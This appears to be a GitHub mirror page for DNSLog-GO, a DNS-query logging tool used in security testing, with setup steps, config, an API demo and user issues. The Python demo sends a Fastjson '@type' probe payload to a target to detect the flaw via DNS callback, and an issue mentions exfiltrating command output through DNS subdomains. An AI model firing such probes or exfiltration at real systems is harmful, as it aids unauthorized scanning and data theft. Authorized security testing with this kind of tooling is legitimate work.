lanyi1998 / dnslog-go Goto Github PK

DNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具，自带WEB界面 / DNSLog-GO is a monitoring tool written in Golang that monitors DNS resolution records. It comes with a web interface.

License: MIT License

Go 55.92% HTML 37.62% Dockerfile 3.73% Shell 2.73%

dnslog-go's Introduction

简介

DNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具，自带多用户WEB界面

演示截图:

安装

详细图文教程:https://mp.weixin.qq.com/s/m_UXJa0imfOi721bkBpwFg

1.获取发行版

这里 https://github.com/lanyi1998/DNSlog-GO/releases 下载最新发行版,并解压

或者docker启动

wget https://raw.githubusercontent.com/lanyi1998/DNSlog-GO/master/config.yaml
#修改你的config.yaml文件
docker run -d -p 53:53 -p 53:53/udp -p 8000:8000 -v `pwd`/config.yaml:/DNSlog-GO/config.yaml --name dnslog --privileged lanyi1998/dnslog-go:latest
#设置开机启动
docker update --restart=always dnslog

2.域名与公网 IP 准备

搭建并使用 DNSLog，你需要拥有一个域名如(a.com),还需要有一个公网 IP 地址(如：1.1.1.1)
    
修改 a.com 的 NS 记录为 

NS1.vpsip.NIP.IO
NS2.vpsip.NIP.IO

如 
ns1.1.1.1.1.nip.io
ns1.1.1.1.1.nip.io

本步骤中，需要在域名提供商提供的页面进行设置，部分域名提供商只允许修改 NS 记录为已经认证过的 NS 地址。所以需要找一个支持修改 NS 记录为自己 NS 的域名提供商。
    
注意: NS 记录修改之后部分地区需要 24-48 小时会生效

3.修改配置文件 config.ini

HTTP:
  port: 8000 //http web监听端口
  #{"token":"用户对应子域名"}
  user: { "admin": "admin" } //用户admin 对应的dnslog子域名是 admin.demo.com
  consoleDisable: false  //是否关闭web页面
Dns:
  domain: demo.com //dnslog域名

4.启动对应系统的客户端

注意服务端重启以后，如果修改了用户对应子域名，必须清空一下浏览器中的localStorage,否则会获取不到数据

API Python Demo

import requests
import random
import json


class DnsLog():
    domain = ""
    token = ""
    Webserver = ""

    def __init__(self, Webserver, token):
        self.Webserver = Webserver  # dnslog的http监听地址，格式为 ip:端口
        self.token = token  # token
        # 检测DNSLog服务器是否正常
        try:
            res = requests.post("http://" + Webserver + "/api/verifyToken", json={"token": token}).json()
            self.domain = res.Msg
        except:
            exit("DnsLog 服务器连接失败")
        if res["Msg"] == "false":
            exit("DnsLog token 验证失败")

    # 生成随机子域名
    def randomSubDomain(self, length=5):
        subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domain
        return subDomain

    # 验证子域名是否存在
    def checkDomain(self, domain):
        res = requests.post("http://" + self.Webserver + "/api/verifyDns", json={"Query": domain},
                            headers={"token": self.token}).json()
        if res["Msg"] == "false":
            return False
        else:
            return True


url = "http://192.168.41.2:8090/"

dns = DnsLog("1111:8888", "admin")

subDomain = dns.randomSubDomain()

payload = {
    "b": {
        "@type": "java.net.Inet4Address",
        "val": subDomain
    }
}

requests.post(url, json=payload)

if dns.checkDomain(subDomain):
    print("存在FastJosn")

Stargazers over time

404星链计划

DNSlog-Go 现已加入 404星链计划

dnslog-go's People

Contributors

Stargazers

Watchers

Forkers

k0bee y1zl l0calh0sts bigbrobro m3g4byt3 missxq131 qwechenri bashrc23 wang0098 hkylin crackercat fadinglr moon3r cuteghost6 w796933 q3vjxqtx blockchainguard weiwhy traxsw cgddgc r4b3rt skymysky github-account-lab hswuhao istoliving xsshk rhakb h1d3r rdpmind freqai xinroom jas502n arryboom hack404-007 zzhsec mytfx douglas88 jeromeyoung kxcode bbghunter jiedawa afwu sry309 leezp durkdurksec sacwtv ruanzy506 8gm 963230432 0x0000141 imjdl gamblingmaster2020 roodkcab00 zihaveadream ibeginer lzb960827 wux1an 518651 qianniaoge itoolspro xinghuoliaoyuanbaby jwjissun sesyi obelia01 hi-noikiy fifa555 coderzgh cn-panda whitesharks darkkid0 akunwin rentr02 h4ckforjob phuong39 rassec portmouth bb33bb coffeehb-org 6m03sr maxncu 6f3ng mumu9924 jaydouble deenrookie pochubs mooneee jimsonzhang angrydinosaur88 fanyibo2009 steward007 v7hinc heyseafh sunsetmkt uncia lyrhy trailblazer001 p0stsky codechina888 amjiyu songofhack

dnslog-go's Issues

严重bug

有个很严重的bug，只有在页面上复制的子域名才有结果，当要自定义域名的时候，比如说要执行命令（whoami.xxx.xxx）、外带数据的时候就用不了了

同一个dnslog域名不能使用多次么

首先ping test1.dnslog.cn，去平台上查看记录，发现存在记录
再次ping test1.dnslog.cn，去平台上查看记录，发现不存在记录。

我把test1换成test2又有记录了，这是程序本身的机制么。

Token验证是否可以关闭

Token验证是否可以关闭？

搭建完成后，ping域名提示找不到主机

提示Unknown host

dnslog 有api功能吗

服务器启动53端口时卡住

在 Ubuntu 上装了个 Server端，修改配置文件后启动主程序提示 53端口已占用，遂 systemctl stop systemd-resolved 关闭，再启动主程序卡在 DNS Listing Start...
在此期间，NS记录修改未满 24h，未生效。
所以主程序启动卡住是因为查询不到NS记录么？

使用NGINX L4反代的问题

个人部署使用过程中，因需要有日志记录的需求，顾联想到了使用NGINX L4对其反代，首先修改Dns/Core.go中的默认端口53，使其改为5353。然后编译运行，使其工作在5353端口。

接下来使用NGINX 监听53端口并反代到5353，配置如下：

stream {

    log_format proxy '$remote_addr [$time_local] '
                 '$protocol $status $bytes_sent $bytes_received '
                 '$session_time "$upstream_addr" '
                 '"$upstream_bytes_sent" "$upstream_bytes_received" "$upstream_connect_time"';

    server {
        listen 53 udp;
        proxy_pass 127.0.0.1:5353;
        proxy_timeout 1s;
        proxy_responses 1;

        access_log /****/dns.log proxy;
        error_log /****/dns.error.log error;
    }
}

重启nginx后，使用ping测试可以正常代理，但是记录处无数据显示：

location / {
		proxy_pass http://127.0.0.1:55500;
		proxy_redirect off;
		proxy_set_header Host $host;

		proxy_ssl_server_name on;
		proxy_set_header X-Real-IP $remote_addr;
		proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
		proxy_set_header X-Forwarded-Proto $scheme;
		
		proxy_intercept_errors on;
}

Nginx反代后，SSRF功能选项将由自定义域名+uri拼接了

136     alert("复制成功");

后面增加这一行

137     document.getElementById("myDomain").innerHTML = domUrl.value;

报错

执行后报错

/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found
/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found

系统是ubuntu18.04 amd64，建议师傅在低版本的glibc下编译，这样可以兼容一些老旧系统